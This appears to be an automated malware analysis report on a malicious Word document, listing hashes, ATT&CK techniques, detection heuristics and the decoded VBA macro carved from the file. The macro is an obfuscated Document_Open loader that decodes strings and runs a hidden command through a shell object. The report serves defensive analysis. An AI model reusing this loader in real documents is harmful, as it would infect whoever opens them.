Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0ca37f73d2b965f8…

MALICIOUS

Office (OLE)

31.5 KB Created: 2018-08-14 23:53:00 Authoring application: Microsoft Office Word First seen: 2018-08-26
MD5: 964d00209293cd29a3d8ee29299daa2d SHA-1: 4433dcd064b5865a3696e3b87c6ae78d98ae2017 SHA-256: 0ca37f73d2b965f8c3c80f585bf4b540f464d528cd890619bac3202327300c6e
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains obfuscated VBA macros designed to execute a payload. The Document_Open macro triggers the execution of a second-stage payload by utilizing CreateObject and CallByName functions, likely to download and run additional malicious content. The ClamAV detection 'Doc.Dropper.Valyria-6665576-0' further supports its malicious nature as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6665576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6665576-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 791 bytes
SHA-256: a55df4f0a1e41953143e816ca09c6967cea29c4d42ded7dfb46d746b36049a73
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Sub Document_Open()
Application.Run OAW_("5A6E")
End Sub
Private Function OAW_(ByVal JUJ_ As String)
   Dim A_(2) As Integer: A_(0) = 38: A_(1) = 72: Dim L_ As String: Dim J_ As Long: For J_ = 1 To Len(JUJ_) Step 2: L_ = L_ & Chr(Val(Chr(A_(0)) & Chr(A_(1)) & Mid(JUJ_, J_, 2)) - 15): Next: OAW_ = L_
End Function
Sub K_()
    CallByName CreateObject(OAW_("66627281787F833D6277747B7B")), OAW_("61847D"), VbMethod, OAW_(ActiveDocument.Variables("PIDZKIC").Value), 0, True
End Sub

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